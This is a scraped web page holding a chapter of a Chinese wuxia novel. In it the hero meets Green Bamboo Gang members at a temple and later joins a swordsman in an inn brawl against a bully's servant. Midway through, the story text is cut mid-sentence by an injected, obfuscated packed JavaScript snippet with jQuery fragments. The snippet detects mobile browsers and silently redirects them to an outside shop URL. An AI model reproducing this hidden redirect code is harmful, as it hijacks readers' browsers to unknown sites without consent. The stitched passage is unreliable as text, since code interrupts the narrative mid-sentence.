文趣网 > 其他小说 > 大唐豪侠传之龙吟九天 > 16. 第 16 章
    第十六章  萍水相逢

    陈剑飞又望了一阵,心想:“这道士不知是那一门派的高人,日后有机会见到,再向他道谢吧。”牵了黑马出了县城,翻身上马,还没等他拍马,那黑马就长嘶一声,撒开四蹄向前奔去。

    陈剑飞但觉耳边风声嗖嗖,大道两边的树木飞快的向后倒退,心下又惊又喜,想不到这匹黑马貌不其扬,不怎么起眼,虽与那紫衣少女的白马尚有差距,但却也是匹难得的良驹,那田六真是笨到了家,若他现在看到这黑马跑的如此之快,非气得吐血不可。那黑马在草房里被关了一个多月,早已憋住了劲,这一得解放,那更是使出了全身的劲,只顿饭功夫便已奔出十余里。

    又奔了大半个时辰,天色渐暮,此时已离旧县有七八十里之遥了,陈剑飞光顾着策马疾奔了,却忘记了宿头,见已渐入黄昏,而大路前后却都没有人家,看来晚上只有在野地里露宿了。

    陈剑飞又拍马向前行了六七里,希望能找户人家借宿,但一路行来,连个人影也没看到。不过倒是见到邻边的山坡边有一座土地庙,看上去虽是破破烂烂的,但挡个风遮个雨还是不成问题的。当下拍马走过去,来到庙前下马入内,就见庙内空空荡荡的,殿台上的土地公公神像不是缺胳膊便是掉了腿,残缺不全,有的还只剩下一个底座了。地面上满是灰尘,四角落中结满了蛛网,看样子已经好久没有人来打理了。

    陈剑飞在树林中折了些树枝回来,将庙内一角打扫干净,然后生了堆了火,自小到大他这还是第一次单独在外,虽然是笨手笨脚的,但总算是弄得似模似样。好在他早有准备,在县城时就买了些火折水囊,又买了许多烧饼、馒头作干粮,够路上好几不至于挨饿。

    夜色渐重,陈剑飞朝火堆内又加了些干柴,正待躺下去睡,忽听庙门外的黑马低声长嘶了几声,声音似乎十分的急躁,不由心下起疑,起来走到庙外,就见那黑马原地不停的打转,见到陈剑飞走了出来,伸嘴咬住他的衣襟,向南面示意。陈剑飞心下奇怪,转身向南望去,但见南面黑乎乎的,没什么异样动静。

    陈剑飞正不解间,忽闻到一阵急促的马蹄声从南面大道方向遥遥传来,陈剑飞凝耳一听,约摸有十余骑正疾速向这边奔来,听声音当还在数里之外。

    原来这黑马生在山野,听觉嗅觉远比一般圈养的马要灵敏的多,陈剑飞尚无半点知觉,它已经查觉到动静了,出声向陈剑飞示警。

    陈剑飞心下微微一惊,回到庙内熄灭火堆,躲在门后向外瞧。过了盏茶功夫,就见十余骑疾弛而来,奔到土地庙边勒马而停,一沙哑的声音道;“赶了这么远的路,我看就在这庙里歇一歇,天亮了再赶路吧。”一深沉的声音道:“也好,大家伙都累得够呛,就在这歇歇吧。”

    十余人下得马来,向土地庙走了过来。走到门前时,一人瞧见旁边拴着黑马,咦了一声,道:“这里有一匹马,看来有人比我们先到了。”

    那人旁边一人上前,打量了一下黑马,啧啧赞道:“不错,好马,真是匹好马。”先前那人道:“你小子眼光越来越差了,这匹马瘦了巴几的有什么好的?”那人摇摇头道:“这你小子就不懂了吧,说到玩女人小弟是自愧不如,但说到相马,你们几个加起来也比不上我,这匹马看起来不怎么起眼,但龙筋虎骨,世间少有,在马经中称之为‘乌龙马’,乃是由西域的大宛宝驹与中原的青马混种所生下的,这马要是由我来调教,保证不出三个月,就可将它调教成一匹日行千里,夜行八百的宝马。”

    先前那人笑道:“你再会看又有什么用,这马又不是你的。你相也是白相。”旁边一人道:“待会你与这马的主人商量商量,看能不能买过来。”先前那人笑道:“若照他所说,只怕他是倾家荡产也不够买这一匹马的。”那人不以为意,道:“可惜可惜,一匹好马却给弄成这个样子。”

    走上前去,想摸一摸黑马,不想黑马忽一抬前蹄,踢了出去,那人猝不及防,登时给踢中了右腿,只痛得嘴牙裂嘴。先前那人大笑道:“怎么样,你还想买它,这下倒好,它先给你来了个见面礼。”

    旁边几人也是哈哈大笑起来。这时走在最前面的一名灰衣老者回过头来,道:“你你都剩些力气吧,歇一歇还要赶路呢!”他这一说,其他人都齐声应是,无人再说话。看样子这灰衣老者是这些人的首领。

    陈剑飞心道:“一般平民百姓是不敢连夜赶路的,想来他们都是江湖中人,却是知是哪一门派的,先不理会他们,看看情形再说。”悄悄走回殿中,将长剑藏在贡桌下面,用破布盖住,然后躺下身子,装作睡热的样子。

    就听殿门咯吱一声大响,有人低骂了一句:“他妈的,真是倒霉,落了老子一头的灰。”想是开门时太用力了,震落了屋粱上的灰尘。陈剑飞假装刚刚醒过的样子,坐起身来,揉了揉眼睛,望向那群人。那灰衣老者打量了他一眼,拱手道:“很抱歉,打扰公子休息了,我等也是途经此地,在此歇歇脚。”陈剑飞道:“老伯不客气,大家都是过路人,各位请自便。”

    那灰老都点点头,转身向后面的人道:“去几个人拾些干柴来生火,你们几个将地上打扫一下。”各人齐声应是,分头而去。

    陈剑飞暗暗打量了一下那些人,就见那灰衣老者五十上下,身形干瘦,一副弱不经风的样子,但脑门间的太阳穴却是高高的向外鼓起,不禁想起师父天冲曾经向他说过,江湖中有些门派修练的内功,当达到一定的火候时,太阳穴就会慢慢鼓起,越是练到高深地步,太阳穴就会鼓得越高,看这老者的模样,想来定是名内家高手,武功不凡。

    再看与他一起那好些人,也都是三四十岁的样子,虽然有高有矮,有胖有瘦,但各人的服装打扮都是一模一样,而且除了各自携带的兵刃外,各人腰中还都插有一根碧绿色的竹棒,每根竹棒都有五尺来长,大小差不多,唯一不同的是每根竹棒都有一段段的竹节,竹节数有多有少。

    陈剑飞心下思索,忽心念一动,想起天冲在空闲的时候,向自己讲过不少武林的典故,其中提到过在江南一带有一个青竹帮,其帮内弟子数万,势力庞大,乃江湖四大帮会之一,帮中便是以青竹棒的节数代表在帮会中的地位,节数越多,他的身份地位也就越高,细细一数那灰衣老者竹棒上的节数,共有九个竹节,看来他的身份不低,当是在长老一级。再瞧其他人的竹棒,有三人是八个竹节,五人是七个竹节,另外八个人都是六个竹节。

    陈剑飞闭上眼睛假装入睡,心下却不敢有丝毫的大意,竖起耳朵密切注意旁边的动静,以防这些人居心不良。过了顿饭功夫,就听一人小声道:“喂!老张你不是想那匹黑马吗?趁这小子睡得正熟,快把那匹马牵走吧。”陈剑飞眼睛眯起一条缝瞧去,见那叫老张的人是个高瘦汉子。

    就那老张不屑道:“你当我老张是什么人,君子爱财,取之有道,要我干那偷鸡摸狗的事,我可是做不出来。”刚才那人哈哈笑道:“是啊,是啊差忘了,咱们的张大侠是位正人君子。”

    他左边一人笑道:“不对吧,我记的那天路过南阳,半夜三更的你不睡觉,偷偷摸摸的溜出去干什么去了?哼!你去了翠红院当我们不知道吗?”先前那人道:“不对、不对怎可说是偷偷摸摸的去呢?应是正大光明的去才对嘛!”

    众人顿时哄堂大笑起来,显都是在挖苦他。那姓张的汉子满脸胀得通红,大是恼怒,正要发作,那灰衣老者重重咳了一声,道:“都别乱说了,眼下形式这么严峻,你们还有闲心在这里说笑。”众人听那老者发话了,便都不敢再笑了。一人问道:“沈长老,咱们这次去洛阳,到底有什么大事要办啊?”那灰衣老者道:“此乃帮中大事,到地方见到帮主,你们自然就都会知道了。”众人闻言均哦了一声,显是都十分的惊奇。

    那姓张的汉子道:“呀!这次连帮主都亲自出马,咱们可又有机会一睹帮主风采了。”旁边一人道:“老张,你入帮以来见过帮主几次?”那姓张的汉子道:“说来惭愧,我入帮这几年来,只在每年一次的全帮大会中见到过两次,不过还离得较远,没看多清楚。”

    刚才那人道:“那是,咱们帮主是何等的人物,可是咱们想见就见得到的。”他对面一人道:“帮主这几年大部分时间都在闭关修练,帮中的事物都交由少帮主和十大长老处理,这次帮主亲自出马,看来这事情是小不了。”

    那灰衣老者道:“好吧,再给你们透露一点,此次除了我之外,尚还有六位长老赶到洛阳,此外十八护法也去了一半,各处分舵也抽掉了不少的好手。”

    众人脸上均是一喜,那姓张的汉子道:“这可太好了,这下就算有天王老子来了,咱们也不怕他。”那灰衣老者道:“不可大意,一切还是都要小心在意,好了,别多说了,抓紧时间休息,待会还要赶路。”约摸过了一个多时辰,那些人熄了火堆,推门而出,陈剑飞偷偷起身瞧,就见各人上了马,向北又奔去。蹄声响起,不大会便已去得远了。

    陈剑飞心下寻思:“这些青竹帮的人不知到洛阳去要干什么,看他们赶路这般紧的样子,想来定是有什么大事发生。”他也懒得多理会,见尚不到三更天,便躺下又睡了两个时辰。直到天亮时分才醒过来。简单收拾了一下,出得庙来,牵马在周围寻了条小溪,洗了几把脸。那黑马也不用人喂,自己在溪边找了鲜嫩的青草吃了起来。

    日头渐高,陈剑飞吃了两个干烧饼,喝了几口溪水,离开小溪继续上路,那黑马吃饱喝足,精神抖擞,疾奔如飞,道路虽有些坑坑洼洼,但陈剑飞在马鞍上却一点也没有感觉到颠,平稳如在平地一样。将近中午,陈剑飞在路边一小店打尖,打听了去长安的路径,用罢饭后,策马又向前奔去。

    一路晓行夜宿,不一日便到了关中腹地潼关。史思明叛军早在数年前就已被全部剿灭,天下暂无战事,潼关也就没在守那么严了,不再逐个盘查过往行商、行人。经过数年的休养生息,潼关一带逐步恢复了先前的繁荣,紧挨着潼关的潼县也随之发展起来,每天都有大批的行商来来往往,先前因战乱而迁走的百姓也渐渐搬了回来,慢慢的又回到先前的繁华。

    陈剑飞到潼县时已是午牌时分,但见街上依然是熙熙攘攘,人来人往,十分的热闹,街道两边酒肆茶楼林立,商铺一家挨着一家。陈剑飞下得马来,寻思先找家饭馆填饱肚子,然后再出潼关。他是初来此地,也不知哪有饭馆,便信步而行。说也不巧,找了几家酒楼饭馆不是客满了,便是没有空位了。

    转过一个街角,就见前面街两边有十余座造形精致的小楼,远远还未到,就听见那些楼内传来阵阵丝竹之声,其间夹杂着男女嘻笑怒骂的声音。陈剑飞可不知这些都是青楼妓院,还当仍是酒楼饭馆之类的地方,心想:“这么多地方,我就不信都会客满了,一家家的去问,总能找到空位。”

    快步上前来到左边第一家,刚到门口,就见一中年女子迎了上来,满脸堆笑,道:“哟!好俊的公子爷啊,快,里面请。”陈剑飞问道:“里面可还有空位吗?”那女子笑道:“有、有当然有了。”

    陈剑飞心想这下可没有跑空,将马拴在一边,随那女子入内,刚刚进门,就听那女子叫道:“小红、小翠你们都还愣着干什么,还不快来招乎客人。”

    两名打扮的花枝招展的女子应了一声,迎上前来,一左一右的拉住陈剑飞,一阵阵浓浓的脂粉气飘来,陈剑悄吓了一跳,急忙甩手挣脱,道:“男女授受不亲,请两位姑娘自重一些。”

    左边那女子格格笑道:“公子真是说笑了,您来我们这就是找乐子的,要是讲什么男女授受不亲,我们可都喝西北风去。”

    陈剑飞心飞一愣,忙道:“我是来这里吃饭的,你们……你们这不是酒楼吗?”右边那女子笑道:“什么酒楼,我们这是青楼,公子就别装得一本正经了,来咱们到那边去坐。”不由分说,拉起他便向里走。

    陈剑飞虽没去过青楼,但青楼是什么地方却还是知道的,闻听这是青楼,心下暗叫糟糕,自己原来是摸错了地方。急忙甩脱那女子的手,说道:“对不起,在下走错了地方。”转身出门骑了马,飞也似的跑了。那两名女子急叫道:“公子,公子你别走吗!”追出门时,却早已不见了陈剑飞的影子。

    陈剑飞奔过两条大街,见后面无人追来,这才长松了口气,心想下次可不能再冒冒失失的了。向前又过了一条大街,就见路边有一座二层木楼,一阵阵酒菜香气自楼内传来,令人闻之馋涎欲滴。陈剑飞这次不敢冒失了,走到门前向里面张望了一眼,就见大厅内摆了七八张桌子,已经坐得满满当当的了,几名伙什来回忙碌,给各桌上酒添菜,倒的确是家酒楼。

    一名伙什见陈剑飞向里张望,迎上前去招呼道:“这位公子是要住店啊,还是要用饭啊?”陈剑飞道:“用饭,里面还有空位吗?”那伙计连声应道:“有、有楼下正好还有一个空桌,公子来的可真是时候,请、请。”

    陈剑飞将马拴在一边,然后随那伙计上了二楼。楼上有也有八九张桌子,差不多也都坐满了,只有靠南边墙边还有一张空桌。

    那伙计引陈剑飞来到桌前,从肩上拿下抹布,飞快的将桌面抹了一遍,道:“公子请坐,不知公子想吃些什么?”陈剑飞道:“我初到此地,你们店内有什么可用的?”那伙计笑道:“本店可是正宗的百家老字号了,煎炒烹炸样样都精,所做的菜那是远近闻名,公子算是找地方了,特别有一道菜,那是咱中原一绝,在别的地方是找不到的。”

    陈剑飞听了一由好奇,问道:“是吗?说来听听。”那伙计道:“这道菜名叫‘鲤鱼跳龙门’,那是本店镇店之宝,其它的先不说,但这主料鱼就不是一般的鱼可用,必须要用产在当地的一种黄河鲤,刮鳞洗净后,先用本店祖传的秘方加以腌制,然后……”

    那伙计想必是说的太习惯了,这一说起来,便如数家珍一般,嘟嘟啦啦便是一大串,陈剑飞肚子早就饿得咕咕直叫了,那还有闲心听他说这些,便打断他的话道:“那好吧,就来一道这‘鲤鱼跳龙门’尝一尝。”那伙计连声答应,道:“小的保证公子吃了这一次后,下次还会来吃。”陈剑飞怕他又会罗嗦个没完,便又随意点了几道菜,道:“就来这几样吧,你再我拿几个馒头来就行了。”

    那伙计连声应是,又道:“公子,您不来壶酒配着?”陈剑飞道:“我不会饮酒,就来壶清茶吧!”那伙计道:“好咧!公子请稍候,饭菜马上就到。”转身向楼下而去,走到楼梯口处,迎面上来一人,他急忙停住脚步步,这才没与那人相撞。

    那人问道:“伙计,楼上可有空位了?”那伙计道:“真是抱歉公子,刚才还有一张桌子,但您来晚了一步,已被那位公子先坐了。”伸手一指陈剑飞。那人叹了口气,道:“真是不巧,看来还得要再找一家。”言语之中十分的失望,显是也找了好几处地方。陈剑飞瞧了那人一眼,只见他约摸二十七八岁的样子,星眉剑目,英气勃勃,身穿一身白色儒衫,十足的书生气,手拿一把折扇,神态洒脱,倒似一名饱读诗书的文人雅士,不禁对他大有好感,起身说道:“这位兄台若不嫌挤,不妨与在下同用一桌如何?”

    那人喜道:“如此也好,那就打扰兄台了。”陈剑飞道:“兄台太客气了,请坐。”那人向他拱了拱手,在他对面坐下。

    那伙计上前道:“不知这位公子想吃些什么?”那人笑道:“来你这当然少不了这里的一绝了,这‘鲤鱼跳龙门’是少不的,再来一盘酸辣醋鸭,一盘红烧牛肉就行了,对了,再来一瓶桃花秘酿。”陈剑飞看他点菜十分熟练,显是在这不止吃了一次了。那伙计连声应下,急急下去准备。

    那人打开折扇,轻扇了两下,向陈剑飞道:“不知兄台从哪里来,要到何地去啊?”陈剑飞道:“小弟从河南来,准备到长安一趟办些事情,不知兄台意欲何往?”那人道:“真是不巧,我要到洛阳去,咱们一个往西,一个往东。”陈剑飞道:“那就太不巧了,不然能与兄台一路,也好有个伴说话。”

    那人哈哈一笑,道:“若是有缘,咱们还会再见面的,不知兄台贵姓大名?”陈剑飞觉得与那人十分的投缘,便将姓名据实以告,说道:“小弟姓陈,名剑飞,不知兄台高姓大名?”

    那人说道:“在下姓邹,名御风。”陈剑飞赞道:“邹兄果然是人如其名,玉树临风,果然是一点不错。”邹御风哈哈笑道:“陈兄误会了,我这个御可不是宝玉的玉,用玉树临风来说那是太折煞我了,陈兄你才是玉树临风才对。”陈剑飞笑道:“邹兄取笑了,小弟哪里敢当。”

    两人正说话间,伙计已将酒菜端了上来,陈剑飞瞧那道‘鲤钱跳龙门’果然做的似模似样,就见那鲤鱼昂头甩尾,作势欲跃的样子,旁边还有一个用冬瓜雕刻而成的龙门,两相合在一起倒颇有些意思。

    陈剑飞道:“看样子倒是不错,就不知吃起来是什么味道了?”邹御风道:“是什么味道,尝尝不就知道了。”陈剑飞笑道:“邹兄说的不错,请。”邹御风也不客气,伸箸夹菜。

    陈剑飞也伸筷夹了一块鱼肉,放到嘴里,慢慢嚼咽。这鱼肉味道果然十分鲜美,鱼肉肥而不腻,嫩而不滑,果是不凡。不由连声称赞,道:“好,好手艺。”

    邹御风笑道:“有菜无酒,那多没味道。”提起酒壶便要给陈剑飞倒酒。陈剑飞忙阻止,说道:“不不怕邹兄笑话,小弟不会饮酒。”

    邹御风颇是惊奇,笑道:“大丈夫岂能不会饮酒,陈兄这是说笑了,来来。”不由分说,便将陈剑飞面前的酒杯倒满。说道:“这是有名的桃花秘酿,当年诗仙李白醉酒诗百篇便是喝的这种酒。”

    陈剑飞见盛情难却,便道:“即是如此,小弟就少饮一些。”邹御风笑道:“也好,等陈兄弟慢慢适应了,就不会觉得这酒难喝了。”陈剑飞端起酒杯慢慢尝了一口,只觉酒味甘冽爽口,入口时虽有些苦辣,但细细一回味,却是醇美无比。陈剑飞只在小时候过年时喝过两次酒,但是什么味道早就忘的一干二净了,在三阳观时从来没喝过的,只听别人说过一 些,直到此时才对酒有了一些了解。

    邹御风喝了两杯,说道:“这酒在酿造时加入了桃花的花瓣,所以饮时会觉得酒内有股桃花的香气,不过这还不算是最上乘的酒,只能算是中上等吧。”

    陈剑飞道:“邹兄对酒如此了解,想来是位品酒行家吧?”邹御风笑了笑,道:“行家倒也算不上,只不过喝得多了,自然而然就略懂一些。”陈剑飞道:“邹兄过谦了。”邹御风微微一笑,举杯又饮。陈剑飞是头一次喝酒,不敢多饮,喝了几杯后,便不喝了,邹御风也不为意,自斟自饮,一壶酒大半倒都是他喝的。

    吃到一半之时,忽听楼下传来一阵闹哄哄的声音,跟着一个破锣般的声音大叫道:“他妈的,少罗嗦了,快我们少爷腾出两张桌子来,再罗里罗嗦,惹恼了我家少爷,小心拆了你这家鸟店。”

    只听楼梯蹬蹬响,就觉楼板微微震动,数人从楼下走了上来。楼上众食客齐扭头望去,就见当先一人四十上下年纪,膀大腰圆,一身横肉,满脸的胡须,身背一口九环鬼头大刀,一副凶神恶煞的样子。

    走在他身后的是一名公子哥模样的人,看年纪与邹御风也差不到那里去,一身宝蓝色长衫,相貌堂堂,颇有些傲气,最惹人眼的就是他腰间挂着的那柄长剑,剑鞘是用纯金打造的,上面雕刻着一条张牙舞爪的飞龙,飞龙的眼珠用红宝石镶嵌的,连剑鞘都如些名贵,可想而知鞘中之剑自非凡品了。那公子身后还跟有三人,都是一身劲装,腰挂兵刃,看样子也非弱手。

    酒楼掌柜从后面匆匆赶来,连连打拱说道:“客官,您看真的是客满了,实在没有办法,真是对不起,要不您先稍等一会,看可有位子让出?”

    那大汉一把抓住那掌柜的领口,喝道:“什么,你好大的胆子,竟敢让我家少爷等,哼!活得不耐烦了,你可知我家少爷是什么人?”

    那掌柜一见那公子打扮,便知是绝非寻常之辈,说道:“小人不知,小人不知。”那大汉哼了一声,正要再说,那公子道:“好了,阿四别跟他罗嗦了,让他赶紧腾出两张桌了来,咱们吃了饭还要赶路呢!?那阿四点头哈腰道:“是,是少爷。”转过身向那掌柜喝道:“还愣着干什么,没听见我家少爷的话吗?”

    那掌柜面有难色道:“他们也是客人,现在还没有用完饭,就赶人走,这……这怎么能行?”阿四道:“好吧,你不动手,老子替你打发。”

    扭身走到旁边一张桌子边,伸出蒲扇般大小的手在桌上重重一拍,叫道:“喂,你们吃够了没有?”他这一拍,只震得桌子碟子、汤碗、酒杯、筷子等物都跳了起来,桌边的食客都吃了一惊,一人道:“吃……吃过了。”阿四道:“吃过了还不快滚,待这里等着下蛋啊?”

    那几名食客见他那副凶神恶煞的样子,哪里还敢多说,余下的饭菜也不吃了,急忙起

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754123|209484||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    身避开。阿四又走到另一张桌子边,重重哼了一声,道:“你们还不快让开。”那桌人中一人道:“你这个人怎么这般不讲理,凡事总要讲个先来后到吧,便是要用,也得等我们吃完了饭再用吧?”

    阿四裂开大嘴嘿嘿笑道:“好,老子就让你用完再走。”左手一把抓起那人的胸口,提将起来,右手抄起一碗菜汤,哗得一下,全倒在那人头上,说道:“老子招呼你好好的吃。”

    那菜汤甚热,直烫得那人哇哇大叫,阿四左手一甩,将那人掷出一丈多远,与那人同桌的几人见状,那还敢多留,连忙起身离开架着同伴下楼而去。

    与之邻近的几桌客人也不敢再坐,不等饭吃没吃完,纷纷结帐离去,唯恐一不小心惹到这个瘟神,那可就有苦头吃了,只有离得远一些的食客没有走。但各人也都加快吃饭的速度。陈剑飞见状大为气愤,刚想站起身来打抱不平,邹御风伸手按住他的右肩,低声道:“先别忙动,吃饱了饭才有力气打架。”陈剑飞一想正是,又坐了下来。

    阿四将众人赶尽后,向那掌柜道:“这下不就有空位了吗,还不快把这收拾干净了,把你店里所有拿手的好酒好菜统统端上来。”那掌柜见状,心中叫苦不迭,但也不也多说,连声应是,让几名伙计连紧打扫收拾,又吩咐厨房加紧准备,免得又惹到这些瘟神,说不得真会将自己这酒楼给砸了。

    大不会地上桌面都收拾得干干净净,阿四走到那公子身边,道:“少爷请入坐。”那公子嗯了一声,显是十分满意,缓步走到一张桌边坐下,阿四站在一边,另三人坐在另一桌。很快各样美味佳肴便如流水价般的端了上来。

    邹御风喝了两杯酒,打开折扇轻摇了两下,郎声吟道:“昔闻洞庭水,今上岳阳楼。吴楚东南坼,乾中曰夜浮。亲朋无一字,老病有孤身。戎马关山北,凭轩涕泗流。”

    陈剑飞自小便熟读诗词,记得这是一首父亲生前好友大诗人杜甫所作的一首《登岳阳楼》,拍手赞道:“好诗,好诗,诗作的好,邹兄吟得更好。”邹御风摆摆手道:“让陈兄见笑了,说来惭愧,杜工部的这诗首诗意喻深刻,在下虽吟诵多时,但到现在还是未能完全体会诗中的所达到的那各境界。”

    只听那阿四喝道:“他妈的,什么鸟诗,要念给老子滚出去念,别在这打扰了我家少爷。”邹御风哈哈一笑,向陈剑飞道:“陈兄,这不知是谁放的臭屁,怎么这么的臭,咱们须得换个地方才行,免得打扰了你我的雅性。”

    陈剑飞会意,大笑道:“是啊,臭屁倒尚在其次,最不可闻的就是有一条疯狗在那汪汪直叫。”

    阿四脸色一变,邹御风与陈剑飞所言明摆着便是指他了,心下大怒,跨步走到两人桌边,喝道:“刚才是谁说的,给大爷我站出来。”邹御风故作惊奇,向陈剑飞道:“陈兄,你可见过疯狗会说人话过?”陈剑飞摇了摇头,道:“没有见过,邹兄可是见过?”邹御风笑道:“以前我也没有见过,不过现在正好看见了一条。”陈剑飞哦了一声,假装奇道:“是吗?在哪里看见的,也让小弟开开眼界?”

    邹御风哈哈一笑,道:“说远不远说近也不近,远在天边,近在眼前。”边说边斜眼瞧了瞧那人阿四,意思自然再明显也不过了,所指除了他再无旁人了。

    陈剑飞装作恍然大悟的样子,连连点头,道:“看见了,果然是闻名不如见面。”二人相视,  均是哈哈大笑。

    阿四见邹御风、陈剑飞你一言,我一语的尽是挖苦讽刺嘲笑他的话,不由勃然大怒,哪里还忍得住,伸手便去抓邹御风的后领,破口大破,道:“臭小子,敢惹你大爷,活得不耐烦了。”

    他这一抓又快又狠,颇是了得,陈剑飞忙道:“邹兄小心了。”邹御风微微一笑,说道:“不过是疯狗咬人罢了,没什么大不了的。”左手端起酒杯,身子略略一斜,看似轻描淡写,但那阿四的一抓却已经落了空。

    阿四一惊,满以为这下定可抓住对方,谁曾想却失了手,只当是刚才没有对准,错了方向,便深吸了口气,反手又抓了过去,比之先前那招更快,喝道:“这次看你还往哪里跑。”

    陈剑飞起初还有些担心邹御风会有危险,但刚才见到他闪避阿四那一抓身形奇快,自己只怕也做不到这么快,这才大大放心,看来邹御风是深藏不露,身负绝学。

    果然阿四这一招还是抓了个空,阿四心头一惊,道:“好小子,原来也是个练家子,难怪这么猖狂?”邹御风道:”这猖狂二字,用在在下身上就不大合适了,用在你身上嘛,却是再合适也不过了。“陈剑飞接口道:“是啊!口出狂言,大言不惭。”

    那阿四本就是火爆脾气,哪里受得了二人的奚落,直气得七窍生烟,自恃已方人多势众,哪里把陈剑飞、邹御风放在眼里,大喝一声,双手握拳击出,使上了九成的力气。

    邹御风合起折扇,十分随意的向前轻轻一伸,陈剑飞瞧得奇准,他扇端所处方位正是指向那阿四右腕的“神门”、“太陵”两处穴道,那阿四若不及收招,右腕必会自己撞上去,这样不待他两拳打出去,便被会点了穴道,其手法可谓极为高明。

    那阿四倒也有些真功夫,不过比起陈剑飞来就差得远了,直到将将接近之时,才发现情况不妙,看出对方早已是守株待兔,设好了陷井等在那里,急忙缩臂收腕,将拳头硬生生的收了回来,这才免遭被点穴之厄。他恼怒已极,这边一收拳,右腿便一个“扫膛腿”踢出,直向邹御风胸口要害踢去。

    邹御风不慌不忙,将折扇下垂,放在右肋下方,扇端所指,正是阿四右腿“太溪”、“三阴交”、“阳关”三处要穴,阿四无耐,只得赶紧变招,邹御风端坐不动,右手只不时的变动扇子方位,神态悠闲,似是调猫驯狗一般,不时的还举杯与陈剑飞饮上几杯。

    陈剑飞道:“邹兄,光喝酒不吃菜怎么,这菜要是凉了,就不好吃了。”邹御风笑道:“不错,不错,差点忘了这些美味佳肴。”说着伸筷夹了几样菜放到嘴里,边吃边赞。

    那阿四使了吃奶的力气,却仍是连对方一个衣角也没有摸到,反倒处处被对方所制,又见他二人又是吃菜,又是喝酒,引得他肚子也跟着咕咕直叫起来,饥饿难耐,只气得脸红脖子粗,额头青筋暴起,张口大骂起来。

    邹御风皱皱眉头,道:“这疯狗又叫了,真是扫兴。”伸筷夹了一个鱼头,右手挥扇反掠,一阵劲风刮出,那阿四只觉呼吸忽然一窒,嘴巴不由自主的张大呼吸,蓦觉口中一堵,被塞进了一物,不由大吃一惊,急忙退开数步,伸手去抠。

    待他抠出来一瞧,却见是一个鱼头,正是刚邹御风刚才所夹的那只,却不知他用的是什么手法,竟将鱼头塞到自己嘴里去了。陈剑飞见他好副狼狈之像,忍不住大笑出来。

    那阿四又气又怒,恨不能将邹御风生吞活剥了一般。大吼一声,不要命般的冲上前去,一副要拼命的架式。邹御风哼了一声,折扇疾出,闪电般的在阿四的双腿上拂过,阿四只觉双腿一麻,顿时站不住脚了,扑嗵一声,跪倒在地上,似在向邹御风、陈剑飞磕头一样,却是已被点了穴道。

    邹御风笑道:“哎呀!太客气了,太客气了,这还没过年的,就在此磕头,不必如此多礼?”伸脚轻轻一踢,将阿四踹到一边。

    一直端坐在那里未动的那名公子,忽冷笑了一声,说道:“果然是真人不露像啊!倒要请教阁下的万儿。”边说边伸手捏下一片桌角,揉成三个小木球,曲指弹出,打在阿四腰腿上三处穴道上,解了他腿上所中的穴道出指之快,认穴之准,身手着是不凡。

    那阿四爬起身子,双目尽赤,今个在众人面前丢尽了颜面,说什么也要报这个仇,右手拔出背上的九环鬼头大刀,双手紧握,迎面向邹御风头顶劈去。

    那大刀又厚又沉,加之他又使上了全力,力道自是不可小视。陈剑飞怕邹御风有个什么闪失,急忙一扬右臂,手中的两支筷子激射而出,一打中他右腕脉门处的“阳谷穴”上,一打中右肩上的“肩贞穴”上。这两大穴道都是贯通右臂经脉的要穴,一但被打中,手臂便会劲力尽失。

    阿四大刀只砍到一半,便已拿捏不住了,掉落下来,刀身正砸在他的左脚上,直砸得他哎唷一声大叫,痛得嘴牙咧嘴,捂脚大叫。那大刀份量着是不轻,这一下可砸得他够呛。张口骂道:“他妈……”刚刚骂出两个字,便觉后领一紧,跟着双脚离地而起,却被人提了起来,出手之人正是邹御风。别看那阿四有二百来斤,但在他手中却似无物一般。那公子身后三人齐齐上前,喝道:“快放下他。”邹御风哼道:“就他这点功夫,少在这里么丢人现眼了。”振臂一扬,便将那阿四甩将起来,从一边窗口扔了下去。

    就听那阿四哇哇大叫,但并未听到落地的声音,跟着从窗口呼得又飞入两人,一个是刚刚被扔出去的阿四,另一人则一名五旬老者。那公子一见到那老者,起身道:“二叔,你可来了?”那老者放下手中的阿四,道:“怎么搞的,我才走开一会,就弄成这个样子?”陈剑飞瞧那老者目光炯炯,虽然又矮又瘦,浑身上下却有着一股凌人之势,看来绝非泛泛之辈。

    只听楼梯蹬蹬作响,又上来七八人,与先前阿四那几人打扮相同,想是同路中人。各人上来后,齐向那公子施礼,道:“小的等参见少主。”那阿四见已方来了援手,忙抢着说道:“回二爷,这两个小子口出狂言……”那老者望了他一眼,打断他的话,道:“我还没问你话呢?”那阿四急忙住口,不敢再多言。

    那老者又道:“阿龙,到底是怎么回事?”那公子道:“二叔,是因为……因为……”吞吞吐吐欲言欲止。那老者扭头向邹御风和陈剑飞望去,说道:“刚才不知是哪一位出的手,不知为何打伤我的手下?”

    陈剑飞道:“谁先了的手并不重要,你先问问他我们为什么出的手?”那老者望了望阿四,道:“阿四,照实说来,若敢有半问虚言,小心你的脑袋。”阿四连声应是,道:“是,是回二爷的话,都是小的不好,这事与少爷无关。”当下极不情愿的将刚才的事讲了一遍,自然尽力把责任往邹陈二人身上推了。

    那老者听完,重重哼了一声,道:“还记的我怎么说的吗,这才多久,就全在了耳边风,你们长没有长耳朵?”阿四与其它三人均低头一声不吭。那老者转身向邹御风、陈剑飞一拱手,道:“老朽手下多有得罪,还请两位公子见谅。”陈剑飞见人说话客气,也还了一礼,道:“老前辈客气了。”